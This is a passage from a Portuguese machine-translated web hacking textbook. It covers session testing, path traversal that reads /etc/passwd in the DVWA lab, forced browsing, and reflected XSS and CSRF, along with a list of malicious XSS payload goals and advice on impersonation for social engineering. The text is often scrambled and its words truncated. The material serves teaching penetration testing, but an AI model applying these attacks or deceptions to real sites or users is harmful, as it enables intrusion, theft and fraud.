15.000 ou 20.000 deles para análise.</p><p>ÿ Efetue logout do aplicativo, clique no botão Voltar do navegador e atualize a página para ver se</p><p>ainda é possível acessar uma página no aplicativo Web que deva exigir uma sessão ativa,</p><p>como a página minha conta . ÿ Copie e cole seu</p><p>identificador de sessão válido em um arquivo de texto (para ter uma cópia do valor) e use-o</p><p>novamente após efetuar logout. Você pode usar um proxy de interceptação para conectar seu</p><p>antigo identificador de sessão.</p><p>ÿ Simplesmente abandone ou pare de usar seu navegador por várias horas para</p><p>FIGURA 5.11 Resultados de nível de bit para testes do Sequenciador.</p><p>Outros ataques de cookies</p><p>Machine Translated by Google</p><p>Estrutura de arquivos do servidor web</p><p>Ataques de travessia de caminho</p><p>Existem diversas variantes dos testes manuais acima que você pode desenvolver por conta própria.</p><p>É tudo uma questão de teste para ver como o aplicativo lida com o identificador de sessão durante o</p><p>uso normal. Voltaremos aos ataques de sessão quando abordarmos o ataque ao usuário da web.</p><p>ÿ Muitos aplicativos emitirão um cookie quando você visitar o site pela primeira vez, mesmo antes de</p><p>fazer login. Copie e cole esse identificador de sessão em um arquivo de texto e faça login.</p><p>Compare o identificador de sessão que foi emitido para você quando visitou o site pela primeira</p><p>vez e o identificador de sessão que você recebeu após a autenticação bem-sucedida. Eles</p><p>deveriam ser diferentes. Caso contrário,</p><p>esta é uma grande vulnerabilidade relacionada</p><p>à doação de sessões. ÿ Faça login no mesmo aplicativo em dois navegadores diferentes para</p><p>verificar se o aplicativo oferece suporte a logins duplos. Se ambas as sessões</p><p>persistirem, elas terão o mesmo identificador de sessão? A primeira sessão é avisada de que</p><p>a mesma conta foi conectada simultaneamente em um local diferente?</p><p>teste os limites de tempo limite do aplicativo depois de receber um identificador de sessão</p><p>válido. É muito comum simplesmente clicar em OK quando ele avisa que sua sessão foi encerrada,</p><p>quando na verdade não foi.</p><p>Os ataques de travessia de caminho ocorrem quando um hacker tenta contornar quaisquer proteções</p><p>e verificações de autorização que o administrador do servidor web e a equipe de programação web</p><p>configuraram para manter todos os usuários de aplicativos web apenas nos diretórios especificados.</p><p>Esses ataques são frequentemente executados por usuários autenticados do aplicativo; dessa forma,</p><p>eles podem inspecionar completamente o que um usuário normal autenticado tem acesso para que</p><p>possam criar solicitações de referência maliciosas. Tentar identificar quais parâmetros estão em jogo</p><p>durante o uso normal do aplicativo a partir de uma conta de convidado seria muito difícil. Pense em</p><p>todas as funcionalidades extras (portanto, parâmetros e páginas) que são disponibilizadas assim que</p><p>você faz login em uma loja ou banco online.</p><p>Se você usar Linux para seu ambiente web, a estrutura de diretórios irá variar dependendo do servidor</p><p>web exato, mas para nossa instalação DVWA, a estrutura de diretórios será semelhante à apresentada</p><p>na Figura 5.12.</p><p>Machine Translated by Google</p><p>Se você estiver curioso para saber qual é a estrutura de diretórios para outras instalações do</p><p>Linux, recomendo adotar uma abordagem gradual para descobri-las. Execute uma série de</p><p>comandos cd e ls , para que você possa ver as alterações de um nível de diretório para o próximo,</p><p>conforme mostrado na Figura 5.13.</p><p>Os diretórios sombreados com tipo branco são os diretórios no servidor web que o aplicativo web</p><p>tem permissão para acessar. Todos os outros diretórios (muitos mais não mostrados no nível raiz )</p><p>devem ser acessados apenas pelo administrador do servidor web.</p><p>FIGURA 5.12 Estrutura de diretório parcial para DVWA no servidor web.</p><p>Machine Translated by Google</p><p>Mais cedo ou mais tarde você encontrará a porta para escapar.</p><p>No contexto do nosso path traversal aack, essa busca é feita com o comando up a directory , que é representado</p><p>por ../ no mundo das aplicações web. Você pode usar este comando ponto-ponto-barra quantas vezes quiser depois</p><p>de identificar a vulnerabilidade de passagem de caminho. Não é importante que você saiba quantos níveis de</p><p>profundidade você está na estrutura de diretórios, porque quando você alcança o diretório raiz e tenta subir em um</p><p>diretório, você permanecerá na raiz. Você pode ter 3, 7 ou 14 níveis de profundidade; contanto que você insira 14 ou</p><p>mais comandos up, você alcançará o diretório raiz , independentemente de onde começar.</p><p>O primeiro passo neste ataque é perceber onde o aplicativo está hospedado no sistema de arquivos. Normalmente,</p><p>você não terá acesso ao sistema de arquivos do servidor web para executar os comandos cd e ls para mapear</p><p>completamente onde o aplicativo pode operar. Você sabe que precisa sair dos diretórios atribuídos, mas simplesmente</p><p>não sabe onde exatamente está na estrutura geral de arquivos. Sempre comparo isso a tropeçar em um quarto escuro</p><p>procurando uma saída. Você sabe que há uma porta em algum lugar, mas não sabe onde ela está por causa da</p><p>escuridão. Sua melhor aposta é simplesmente caminhar ao longo da parede até encontrar a porta. Se você chegar a</p><p>um canto antes da porta, basta caminhar ao longo da nova parede.</p><p>Você executará um aack de travessia de caminho (também conhecido como travessia de diretório) para recuperar</p><p>recursos do servidor web para os quais você não tem autorização no exercício DVWA de inclusão de arquivo .</p><p>Especificamente, você recuperará arquivos dos diretórios mais notáveis do servidor web DVWA. Esta vulnerabilidade</p><p>também fornece um mecanismo para fazer upload, instalar, configurar e executar ferramentas adicionais no servidor</p><p>web.</p><p>Tentar subir um diretório quando você estiver no diretório raiz simplesmente o manterá no</p><p>FIGURA 5.13 Descoberta de diretório de servidor Web para ambiente DVWA.</p><p>Machine Translated by Google</p><p>FIGURA 5.14 Recuperando o arquivo /etc/passwd por meio de uma vulnerabilidade de passagem de caminho no DVWA.</p><p>Acabamos de usar o aplicativo da web para acessar partes do sistema de arquivos que não estavam</p><p>autorizados a fazer e extrair informações confidenciais! Tudo no conforto do nosso navegador interagindo com o</p><p>aplicativo como um usuário normal. O ../ raramente funciona em seu formato natural como aqui. Existem inúmeras</p><p>rotinas de sanitização que tentam identificar e remover caracteres de passagem de caminho das solicitações do</p><p>usuário. A questão então passa a ser entender como essas rotinas de higienização funcionam e como você pode</p><p>contorná-las para que seu ataque ainda explore essa vulnerabilidade. Um sólido conhecimento de codificação e</p><p>expressões regulares será útil nesta batalha.</p><p>Navegação Forçada Outro</p><p>exemplo de referência direta a objetos é a navegação forçada (ou seja, navegação forçada), onde o hacker</p><p>simplesmente enumera nomes de arquivos e diretórios conhecidos em busca de recursos que ele não deveria ter</p><p>acesso para recuperar. Isso é exatamente o que a ferramenta Brut Force do ZAP e o Nikto fazem quando</p><p>procuram nomes de diretórios durante a fase de digitalização. Você também pode fazer isso com uma lista</p><p>personalizada no Intruder. Este é outro local onde a coleta de informações no reconhecimento do servidor web e</p><p>no reconhecimento do aplicativo web</p><p>Para que este ataque funcione conforme descrito, certifique-se de que seu DVWA ainda esteja rodando com</p><p>o nível de segurança “baixo” que você configurou anteriormente neste livro. Aqui estamos usando seis instâncias</p><p>de ../ quando sabemos que realmente precisamos usar apenas quatro dos comandos para chegar ao diretório</p><p>raiz . Assim que chegarmos ao diretório raiz, solicitamos o arquivo /etc/ passwd . O conteúdo do arquivo passwd</p><p>é exibido em nosso aplicativo da web.</p><p>diretório raiz, então erro ao usar muitos! Você pode então detalhar o diretório pretendido que deseja pilhar,</p><p>conforme mostrado na Figura 5.14.</p><p>Machine Translated by Google</p><p>Você poderia criar uma lista de anos, digamos 2004-2013, para percorrer o valor de 2013 deste</p><p>URL. Theq1 obviamente significa o primeiro trimestre financeiro, então q2, q3 e q4 são nomes de</p><p>diretório apropriados para tentar. O diretório financeiro pode ser substituído por qualquer outro</p><p>departamento do banco, como empréstimos, RH, jurídico, viagens e quaisquer outros que você</p><p>possa imaginar. E, finalmente, o arquivo CashFlow.pdf nos dá várias</p><p>pistas. Primeiro, eles estão</p><p>usando notação de corcunda em maiúscula para seus nomes de arquivo e .pdf como tipo de</p><p>arquivo. Apenas esses dois fatores por si só levariam a uma grande coleção de valores possíveis a serem recuperados.</p><p>etapas serão úteis. Não faz sentido usar uma lista cheia de nomes típicos de pastas da web Microsoft .NE se você estiver</p><p>interagindo com um aplicativo de pilha LAMP (se você não estiver familiarizado, a pilha LAMP significa sistema operacional</p><p>Linux, servidor web Apache, banco de dados MySQL e PHP como a linguagem da aplicação web). Você pode até especificar</p><p>vários parâmetros individuais para atingir durante um ataque de navegação forçada em qualquer URL, conforme mostrado</p><p>aqui. https://bigbank.com/reports/2013/q1/financial/CashFlow.pdf</p><p>Considere BalanceSheet.pdf, LoanSummary.pdf, LoanPortfolio.pdf, FinancialStatement.pdf,</p><p>AnnualReport.pdf e muito mais! Basta usar 10 anos, 4 trimestres, 5 departamentos e 7 nomes de</p><p>arquivos para obter 1.400 URLs exclusivos para solicitação forçada!</p><p>Machine Translated by Google</p><p>https://bigbank.com/reports/2013/q1/financial/CashFlow.pdf</p><p>Hacking de usuários da web</p><p>CAPÍTULO 6</p><p>Machine Translated by Google</p><p>Existem muito poucas ferramentas especializadas para hackear usuários da web; você continuará a</p><p>usar as ferramentas do Burp Suite para criar esses ataques. Você será apresentado a três tipos diferentes</p><p>de ataque direcionados ao usuário da web: cross-site scripting (XSS), cross-site request forger (CSRF) e</p><p>engenharia social técnica.</p><p>Engenharia social técnica é o termo que usaremos para ataques direcionados ao usuário da web que</p><p>não dependem de nenhum servidor web permanente ou vulnerabilidade de aplicativo da web. Esses</p><p>ataques sempre terão sucesso, desde que você possa coagir o usuário a alguma ação: clicar em um link,</p><p>abrir uma imagem, baixar um arquivo PDF, clicar em “OK” (ou “Executar”) no prompt do miniaplicativo J av</p><p>do navegador, digitalizar um código QR com seu dispositivo móvel e outros ataques relacionados.</p><p>Esses ataques técnicos de engenharia social são diferentes daquilo que muitos de nós definimos como</p><p>engenharia social – ações como caça ao lixo, personificação física, telefonemas e outros ataques</p><p>tradicionais. Essas novas ondas de ataque simplesmente dependem de um usuário da web realizar uma</p><p>ação quando não deveria! E as consequências são terríveis; ataques técnicos de engenharia social</p><p>fornecem as mesmas cargas que muitos dos ataques que já abordamos.</p><p>O alvo dos hackers da web deixou de ser o servidor e o aplicativo da web e passou a ser direcionado</p><p>diretamente para o usuário da web. Alguns ataques de usuários da web dependem de vulnerabilidades de</p><p>aplicativos da web, enquanto outros ataques não exigem que nenhuma vulnerabilidade de aplicativo</p><p>existente seja bem-sucedida, mas todos dependem de o usuário fazer uma solicitação mal-intencionada sem saber.</p><p>Independentemente de como o aack é entregue, a carga útil é executada na máquina do usuário, e não no</p><p>servidor web ou no aplicativo web. Isso significa que o aacker agora está explorando diretamente os</p><p>usuários da web, fora do escopo das estratégias de mitigação do servidor web e da aplicação web.</p><p>estrela</p><p>ÿ Atacar outros usuários em vez do servidor ou aplicativo ÿ Execução</p><p>de código malicioso com cross-site scripting (XSS) ÿ Execução de</p><p>comandos maliciosos com falsificação de solicitação entre sites (CSRF) ÿ Ataques</p><p>que não podem ser interrompidos: como o Social-Engineer Toolkit (SET) faz de você uma rocha</p><p>Quando você visita um site, seu navegador desenvolve uma relação de confiança com esse site.</p><p>Este capítulo mostrará como é fácil obter acesso administrativo no computador de qualquer usuário com</p><p>ataques técnicos de engenharia social bem projetados e executados sem problemas.</p><p>Seu navegador pressupõe que, por você ter solicitado o site, ele deve confiar em qualquer</p><p>Esse tipo de ataque é o teste de estresse definitivo do treinamento de conscientização do usuário porque</p><p>não existe firewall de rede ou aplicativo da web que possa salvar usuários desavisados!</p><p>Vulnerabilidades de Cross-Site Scripting (XSS) Cross-site</p><p>Scripting (XSS) é a vulnerabilidade mais difundida em aplicações web atualmente, mas</p><p>muitas vezes é descartada como nada mais do que uma janela pop-up boba de JavaScript.</p><p>Resumo do capítulo:</p><p>Introdução</p><p>Machine Translated by Google</p><p>XSS versus CSRF</p><p>Estrutura de Scripting (XSSF) e Estrutura de Exploração do Navegador (BeEF).</p><p>Vulnerabilidades de falsificação de solicitação entre sites (CSRF) A falsificação de solicitação</p><p>entre sites (CSRF) também requer a confiança do navegador com o aplicativo. Também exige que o hacker crie uma</p><p>solicitação maliciosa que deve ser clicada por um usuário desconhecido, mas em vez de injetar informações</p><p>maliciosas script como um XSS, um CSRF aac executa uma ação válida no aplicativo sem que o usuário saiba.</p><p>Resumindo, o XSS explora a confiança do usuário no site, enquanto o CSRF explora a confiança do usuário no site.</p><p>Portanto, a maioria das funcionalidades suportadas pelo aplicativo, como criação de usuário, alteração de senha</p><p>ou exclusão de conteúdo do site, podem ser executadas sem que o usuário perceba por meio de um ataque CSRF.</p><p>É por isso que é chamado de falsificação de pedido. Mais uma boa notícia para os hackers é que há poucas provas</p><p>de que algo malicioso ocorreu. O usuário vítima simplesmente fez uma solicitação normal da web para concluir uma</p><p>ação no aplicativo da web. E daí se o resultado não foi intencional? Do ponto de vista de auditoria pura, parecerá</p><p>que o usuário autenticado pretendia fazer a solicitação.</p><p>Se um aplicativo for vulnerável ao XSS, um hacker geralmente pode criar uma solicitação de URL que inclui script</p><p>malicioso e passar esse URL para um usuário legítimo. Caso o usuário clique no link, a solicitação será enviada</p><p>para a aplicação. O aplicativo retornará a resposta ao usuário que inclui o script malicioso. Este script é gerado no</p><p>servidor, enviado ao navegador do usuário e executado no navegador do lado do cliente (navegador do usuário).</p><p>Este script será executado no navegador do usuário porque o navegador confia no aplicativo Web que retornou o</p><p>script. Por exemplo, o navegador da vítima confia em http://www.auctionsite.com porque o usuário fez uma solicitação</p><p>para esse URL, mas não confia em http://www.l33thacker.net porque nenhum usuário visitaria esse site</p><p>voluntariamente. Portanto, o script precisa ser originado do site de leilões para que o navegador do usuário confie</p><p>nele.</p><p>Duas das estruturas de exploração específicas mais conhecidas para XSS são o Cross-Sit</p><p>O aacker deve encontrar uma vulnerabilidade XSS em algum lugar da aplicação web do site de leilões para que</p><p>quando o link for clicado pelo usuário, o script seja enviado ao site de leilões e então retornado na resposta (assim</p><p>o navegador do usuário confiará nele) e ele será executado. Isso permite que o hacker injete scripts maliciosos na</p><p>resposta do aplicativo enviada ao usuário.</p><p>resposta do aplicativo. Essa relação de confiança permite que imagens, documentos, scripts e outros recursos sejam</p><p>aceitos do aplicativo pelo seu navegador para fornecer uma experiência de navegação na web completa. Esse</p><p>relacionamento funciona sem consequências negativas em 99,9% das vezes, mas as coisas ficam complicadas</p><p>quando o aplicativo é vulnerável ao XSS.</p><p>Muitas pessoas confundem XSS e CSRF porque ambos exigem a criação de uma solicitação de aplicativo da web</p><p>bem formada e a interação com o usuário para que ele faça essa solicitação ao aplicativo sem perceber. Onde eles</p><p>diferem é o mecanismo pelo qual eles</p><p>Machine Translated by Google</p><p>Reconhecimento de usuário da web</p><p>XSS e CSRF podem até ser usados juntos em explorações encadeadas, como o mundialmente famoso worm</p><p>Samy criado por Samy Kamkar que causou estragos no MySpace em 2005. Na verdade, não era um worm no</p><p>sentido tradicional de malware, mas sim um XSS e CSR armazenado. aack que se espalhou tão rápido que foi</p><p>apelidado de verme. O aack carregava uma carga que inseria “mas acima de tudo, Samy é meu herói” no perfil</p><p>da vítima e também fazia um pedido de amizade para Samy. Quando outros usuários do MySpace visualizassem</p><p>qualquer perfil explorado, a carga seria executada novamente. Em um dia, mais de 1 milhão de usuários do</p><p>MySpace foram explorados. O texto inserido no perfil foi feito via XSS enquanto a solicitação de amizade foi feita</p><p>via CSRF.</p><p>O Social-Engineer Toolkit (SET), criado por Dave Kennedy, possui uma vasta gama de métodos AAC e</p><p>depende de coagir os usuários a realizar ações que contornem todos os mecanismos de defesa disponíveis.</p><p>Essa estrutura, que será apresentada com mais detalhes posteriormente neste capítulo, torna sua vida como</p><p>hacker muito mais fácil porque inclui centenas de explorações já desenvolvidas que você pode usar contra</p><p>seus usuários-alvo.</p><p>Vulnerabilidades técnicas de engenharia social Os ataques técnicos de</p><p>engenharia social não dependem de nenhuma vulnerabilidade existente no servidor web ou na aplicação web,</p><p>mas atacam diretamente o usuário. Esse tipo de ataque não pode ser interrompido pelas defesas tradicionais</p><p>que lhe foram prescritas na última década. Firewalls, detecção de invasões, prevenção de intrusões, firewalls</p><p>de aplicativos da web, software antivírus, removedores de malware, atualização de patches do sistema</p><p>operacional e todas as outras ferramentas são ignoradas e tornam-se completamente impotentes contra</p><p>ataques técnicos de engenharia social. Isso é algo realmente assustador. Se você fizer tudo o que foi instruído</p><p>para se proteger, ainda poderá ficar comprometido se clicar em um link ou visitar uma página da Web maliciosa.</p><p>usar para executar a carga útil. O XSS usa script no navegador, enquanto o CSRF usa qualquer solicitação que</p><p>execute uma ação (GET ou POST) para concluir uma ação válida no aplicativo.</p><p>Existem três esforços de reconhecimento específicos para o usuário da web.</p><p>1. Existem listas publicamente disponíveis de sites que tiveram vulnerabilidades XSS descobertas e</p><p>que fornecem um bom ponto de partida para ataques XSS. http://XSSed.org é uma</p><p>coleção em execução de sites que possuem vulnerabilidades XSS existentes e o</p><p>status da vulnerabilidade. Lamentamos dizer que alguns dos sites listados aqui reconhecem a</p><p>vulnerabilidade e optam por não abordá-la. XSSed.org é o maior arquivo on-line de sites</p><p>vulneráveis ao XSS e há uma lista de discussão na qual você pode se inscrever para receber</p><p>atualizações instantâneas sobre alterações na coleção. Você pode realizar uma pesquisa rápida no</p><p>arquivo para ver se o seu aplicativo de destino já foi identificado como vulnerável.</p><p>2. Há também um componente de engenharia social tradicional envolvido em ataques de usuários da</p><p>web. Você pode identificar uma vulnerabilidade XSS ou CSRF e construir uma carga útil épica,</p><p>Machine Translated by Google</p><p>http://XSSed.org</p><p>3. Também há benefícios em reunir diversas contas que você controla no aplicativo de destino. Você</p><p>pode usar essas contas para interagir com funcionários e outros usuários como parte de seus</p><p>esforços de engenharia social. Ao interagir com os funcionários, preste atenção especial a pequenos</p><p>detalhes, como formato do e-mail (HTML versus texto simples), detalhes da assinatura do e-mail e</p><p>como uma pessoa estrutura as mensagens de e-mail. Que saudação eles usam? Que tempo</p><p>verbal eles usam? Como eles assinam o e-mail?</p><p>Verificação do usuário da Web</p><p>Quando vulnerabilidades XSS do aplicativo são encontradas através da verificação do aplicativo, você precisa</p><p>pegar essas informações e criar uma exploração bem formada contra o alvo. No centro de qualquer ataque XSS</p><p>ou CSRF está um usuário que deseja clicar em um link para enviar uma solicitação ao aplicativo que inclui script</p><p>malicioso. É a primeira vez que você lida com um ataque que exige enganar o usuário. À medida que redes,</p><p>servidores e aplicativos se tornaram mais seguros ao longo dos anos, o engano desempenhou um papel mais</p><p>importante em uma exploração bem-sucedida. Esta é uma tendência que certamente continuará nos próximos anos.</p><p>Eles usam o primeiro nome ou apenas a assinatura? Esses são detalhes importantes que você</p><p>pode usar durante a representação durante a engenharia social. Mais importante ainda, você pode</p><p>usar essas contas para testar os ataques de usuários da web. Depois de achar que possui a exploração</p><p>exata, você pode enviar links entre duas das contas que você controla para ver se a carga útil é</p><p>entregue conforme o esperado. Essa configuração permite que você jogue tanto como atacante</p><p>quanto como vítima no aplicativo exato que você está almejando. A interação com o aplicativo ativo</p><p>lhe dará uma indicação de quais filtros estão em vigor e que você terá que contornar. Comece fácil com</p><p>o ataque tradicional e avance para técnicas mais avançadas de evasão</p><p>de filtro até obter sucesso. É um processo muito gradual que você segue até que um dos ataques</p><p>funcione na conta da sua vítima. Depois de aperfeiçoá-lo, você poderá usar suas habilidades de</p><p>engenharia social para atingir um usuário real.</p><p>mas você ainda precisa de um usuário legítimo para fazer a solicitação maliciosa ao aplicativo da</p><p>web. Essa solicitação pode ser por meio de um link, imagem, vídeo, redirecionamento da web ou</p><p>qualquer outra forma de convencer o usuário a fazer a solicitação. Para tornar isso mais verossímil, um</p><p>bom hacker será bem versado nos aspectos da engenharia social para ganhar a confiança do usuário.</p><p>Você deve decidir como enquadrar seu ataque de engenharia social. É mais confiável se você se</p><p>passar por um cliente em potencial? Pode ser como colega de trabalho em uma grande empresa? Pode</p><p>ser como empreiteiro em uma instalação governamental? Depois de decidir sua função,</p><p>você precisa torná-la o mais confiável possível. Isso</p><p>inclui identidades (nome, endereço,</p><p>ocupação, etc.), endereços de e-mail, perfis de redes sociais e todos os outros componentes para torná-</p><p>lo o mais realista possível.</p><p>A parte fácil de uma vulnerabilidade XSS ou CSRF é identificá-la e construir uma carga maliciosa. Existem sites inteiros dedicados</p><p>à formação de entradas XSS maliciosas que contornam várias entradas em https://www.owasp.org/index.php/</p><p>XSS_Filter_Evasion_Cheat_Sheet.para uma lista realmente ótima filtros. Verificar</p><p>Machine Translated by Google</p><p>Exploração de usuários da Web É</p><p>hora de usar as ferramentas e técnicas necessárias para realizar explorações de XSS e CSRF contra</p><p>usuários da Web. As estruturas de aack para usuários da Web que foram apresentadas anteriormente</p><p>neste capítulo também serão investigadas em detalhes mais profundos.</p><p>ÿ XSS: as vulnerabilidades XSS refletidas e armazenadas em DVWA serão concluídas</p><p>levar ao comprometimento de um identificador de sessão usando Burp</p><p>Suite. ÿ Falsificação de solicitação entre sites (CSRF): uma vulnerabilidade CSRF no DVWA será</p><p>concluída para alterar a senha de um usuário sem nunca acessar a página com um navegador</p><p>usando o Burp Suite.</p><p>As vulnerabilidades XSS e CSRF estão cada vez mais difíceis de encontrar devido a diversas</p><p>tecnologias client-sid no navegador que são responsáveis pelos principais componentes da saída da</p><p>página. JavaScript, ActiveX, Flash e Silverlight são usados cada vez mais para entregar a página final</p><p>renderizada aos usuários. Essas tecnologias adicionam camadas de complexidade à localização de</p><p>vulnerabilidades XSS e CSRF porque é difícil para os scanners automatizados encontrar esses tipos</p><p>de vulnerabilidades no código do lado do cliente. Portanto, para ter uma chance de identificar essas</p><p>vulnerabilidades, você deve ser capaz de entender como a entrada do usuário é aceita e processada</p><p>pelo aplicativo, bem como como ela é incluída na saída da página. A chave é encontrar páginas que</p><p>aceitem entrada e então usar essa entrada de alguma forma durante a saída. Se você conseguir</p><p>identificar positivamente essa página, poderá começar a investigá-la em busca de vulnerabilidades de</p><p>CSR. Lembre-se, para conseguir uma exploração CSRF com sucesso, você precisa conhecer todos</p><p>os parâmetros usados pelo aplicativo, para que possa criar uma solicitação maliciosa que será</p><p>executada normalmente. Este é o mesmo pensamento usado quando você cria instruções SQL</p><p>maliciosas em ataques de injeção de código.</p><p>de ataques XSS e técnicas de evasão de filtro. A parte difícil do XSS ou CSRF é fazer com que</p><p>cliquemos no link malicioso. Deixarei que você crie seus melhores esforços para enganar seus usuários-</p><p>alvo da web, mas para obter mais informações sobre engenharia social, confira o trabalho de Chris</p><p>Hadnagy em http://www.social-engineer.org/.</p><p>ÿ Estruturas de Ataque de Usuário: O Social-Engineer Toolkit (SET) será introduzido para</p><p>mostrar um ataque que não requer vulnerabilidade permanente de XSS ou CSRF.</p><p>Ataques Cross-Site Scripting (XSS) A prova clássica de</p><p>conceito do XSS é usar uma caixa de alerta JavaScript que aparece quando o código é executado no</p><p>navegador da vítima. Isso por si só certamente não é malicioso, mas mostra que o JavaScript inserido</p><p>é retornado pelo aplicativo ao navegador do usuário. O XSS pode significar um desastre absoluto para</p><p>um aplicativo e seus usuários se um aacker formular uma carga útil mais maliciosa.</p><p>Os aacks XSS são um bom campo de treinamento para esquemas de codificação e decodificação,</p><p>pois são muito usados em parâmetros de URL e nas rotinas de validação de entrada implantadas por</p><p>mecanismos de defesa de aplicativos. Não é fundamental que você conheça o esquema de codificação</p><p>exato que está sendo usado, mas é fundamental que você saiba como codificar e decodificar seu</p><p>Machine Translated by Google</p><p>com a funcionalidade para auxiliar na codificação e decodificação de valores de parâmetros.</p><p>Um fator que você deve entender ao trabalhar com XSS é a mesma política de origem em um navegador,</p><p>que permite a execução de scripts em páginas originadas do site confiável sem restrições, mas impede o</p><p>acesso a sites diferentes. Por exemplo, a mesma política de origem não permitirá um script de</p><p>www.l33thacker.net para executar se o usuário não solicitou uma página www.l33thacker.net . A mesma</p><p>política de origem fornece uma separação clara entre sites confiáveis e não confiáveis no navegador para</p><p>garantir a integridade da sessão de navegação no lado do cliente. O navegador deve confiar no site que está</p><p>respondendo com um script. É por isso que, como hacker, você deve encontrar uma vulnerabilidade XSS no</p><p>aplicativo em que o usuário confia para que um script malicioso seja executado no navegador da vítima.</p><p>A maioria dos pacotes de hackers disponíveis hoje, incluindo o Burp Suite, possuem ferramentas integradas</p><p>entrada maliciosa para contornar as salvaguardas que foram implementadas. Existem vários esquemas de codificação</p><p>que você encontrará ao lidar com XSS, mas alguns dos mais populares são: ÿ Base64 ÿ URL ÿ HTML ÿ ASCII Hexadecimal</p><p>ÿ UTF-8 ÿ UTF-8 longo</p><p>ÿ Binário ÿ</p><p>UTF-16</p><p>ÿ UTF- 7</p><p>Cargas úteis do XSS</p><p>Existem algumas cargas úteis muito prejudiciais que o XSS é capaz de fornecer. Como o JavaScript é uma</p><p>linguagem tão flexível e poderosa, você fica restrito apenas à sua imaginação quando se trata de considerar o</p><p>que é possível com o XSS. Algumas das cargas XSS mais populares incluem: ÿ Caixas de alerta pop-up</p><p>usadas principalmente para ataques</p><p>de prova de conceito ÿ Sequestro de identificadores de sessão ÿ Download</p><p>e instalação de software ÿ</p><p>Redirecionamento do navegador da vítima para</p><p>uma URL diferente ÿ Instalação de um key logger ÿ Invocação</p><p>de um reverter o shell de</p><p>volta para o invasor ÿ Lançar ataques do lado do cliente</p><p>(ataques a navegadores, por exemplo)</p><p>Gosto de pensar no XSS como uma entrada de hacker que pode ser executada “de forma totalmente</p><p>natural” no navegador da vítima devido a salvaguardas indignas codificadas no aplicativo. A codificação e</p><p>decodificação de valores desempenham uma grande parte dos ataques XSS, portanto, você deve ter um</p><p>conhecimento básico de como identificar e usar valores codificados. Um proxy de interceptação também será</p><p>uma ferramenta útil durante o XSS enquanto você trabalha para evitar os filtros de entrada em vigor no</p><p>aplicativo da web projetado para impedir o XSS.</p><p>Machine Translated by Google</p><p>http://www.l33thacker.net</p><p>2. A vítima deve estar logada no aplicativo vulnerável no momento em que clica no botão</p><p>link malicioso.</p><p>É muito improvável que ambos os requisitos sejam realmente verdadeiros. A maioria dos usuários</p><p>não estará logado no aplicativo no momento em que receber o link malicioso.</p><p>Além disso, pedir a um usuário que faça login primeiro e depois volte e clique no link é um grande</p><p>sinal de alerta para o usuário sobre algo malicioso. Mas é por isso que um hacker enviará o link</p><p>malicioso</p><p>a milhares de vítimas em potencial, na esperança de que algumas delas, ou apenas uma,</p><p>realmente atenda a esses dois requisitos.</p><p>conforme apresentado na Figura 6.1, para realmente funcionar.</p><p>1. A vítima deve estar disposta a realizar alguma ação, como clicar em um link, realizar</p><p>uma pesquisa ou alguma outra funcionalidade específica do aplicativo.</p><p>Existem dois grandes requisitos que devem ser verdadeiros para que um ataque XSS refletido,</p><p>As etapas reais que envolvem o hacker, a vítima e a aplicação web durante um ataque XSS refletido</p><p>são apresentadas na Figura 6.1.</p><p>Você concluirá o exercício refletido de XSS em DVWA para ilustrar como executar com êxito um</p><p>ataque XSS refletido. Depois de acessar a página refletida do XSS , você verá que é apenas uma</p><p>caixa de texto que permite digitar seu nome. Se você fornecer Keith como seu nome, a página</p><p>simplesmente responderá com Hello Keith como saída renderizada. Esta é uma indicação clara de</p><p>que a entrada do usuário está sendo usada diretamente na saída da aplicação. Sinos de alarme</p><p>deveriam estar tocando em sua cabeça com essa constatação! O único truque é descobrir qual</p><p>codificação, validação de entrada e codificação de saída, se houver, o aplicativo está fornecendo</p><p>como proteção contra ataques XSS que você precisará contornar. Vamos começar inserindo a sintaxe</p><p>da caixa de alerta pop-up JavaScript clássica diretamente na caixa de texto do nome como um ataque</p><p>de prova de conceito.</p><p>Depois de clicar no botão Enviar para enviar esta solicitação maliciosa, o aplicativo</p><p>FIGURA 6.1 As etapas de um ataque XSS refletido.</p><p>Ataques XSS refletidos</p><p>alert("JRod esteve aqui!")</p><p>Machine Translated by Google</p><p>Você foi o usuário que enviou a solicitação que incluía o script malicioso, portanto, é no seu</p><p>navegador que o script é executado. Seu navegador confia na página DVWA porque você a</p><p>solicitou, portanto, o script incluído na resposta pode ser executado. Você está jogando bem</p><p>dentro dos limites especificados da mesma política de origem aqui.</p><p>Interceptando a resposta do servidor Se o XSS</p><p>fosse realmente tão fácil nas aplicações web atuais, todos estaríamos em apuros. Para se tornar</p><p>uma forma de ataque mais legítima, você realmente precisa entender como o aplicativo está</p><p>processando a entrada do usuário para que possa trabalhar para contornar quaisquer salvaguardas.</p><p>Algumas das medidas preventivas ocorrerão no lado do cliente antes que a solicitação seja</p><p>enviada ao aplicativo e outras ocorrerão antes que a resposta seja renderizada em seu navegador.</p><p>Você pode inspecionar a solicitação depois que ela sai do navegador e a resposta antes que ela</p><p>retorne ao navegador usando um proxy de interceptação. Por padrão, o Burp Proxy não intercepta</p><p>as respostas do aplicativo, mas você pode ativar esse recurso na guia Opções do Proxy, conforme</p><p>mostrado na Figura 6.3.</p><p>O conceito de XSS refletido é “quem clica nele, recebe”, pois é um ataque único e quem clicar</p><p>no link malicioso terá o script executado em seu navegador.</p><p>fornece uma resposta que prova que não há salvaguardas XSS em vigor. Primeiro, você notará o</p><p>Hello que vem pré-anexado à entrada do usuário; o aplicativo espera que apenas um nome seja</p><p>inserido. O aplicativo também envia de volta o JavaScript malicioso que fornecemos e ele é</p><p>renderizado em nosso navegador, conforme mostrado na Figura 6.2.</p><p>FIGURA 6.2 Ataque de prova de conceito XSS refletido bem-sucedido.</p><p>Machine Translated by Google</p><p>FIGURA 6.5 Interceptando resposta XSS refletida em DVWA.</p><p>FIGURA 6.6 HTML bruto que inclui ataque XSS.</p><p>FIGURA 6.4 Interceptando solicitação XSS refletida em DVWA.</p><p>FIGURA 6.3 Habilitando a interceptação de respostas de aplicativos no Burp Proxy.</p><p>Isso mostra que a entrada do script foi alterada um pouco por motivos de formação, mas já sabemos</p><p>que isso resultará em um ataque XSS bem-sucedido. Também podemos inspecionar a resposta da</p><p>aplicação no Burp depois de encaminhar a solicitação para a aplicação, conforme mostrado na Figura</p><p>6.5.</p><p>Por exemplo, o colchete inicial em nossa tag de script é codificado como %3E. Se você não sabe que se trata de codificação de URL, pode usar</p><p>a ferramenta Decoder no Burp Suite. Depois de encaminhar essa resposta para o navegador, você poderá</p><p>inspecionar o HTML bruto que está prestes a ser renderizado no navegador, conforme 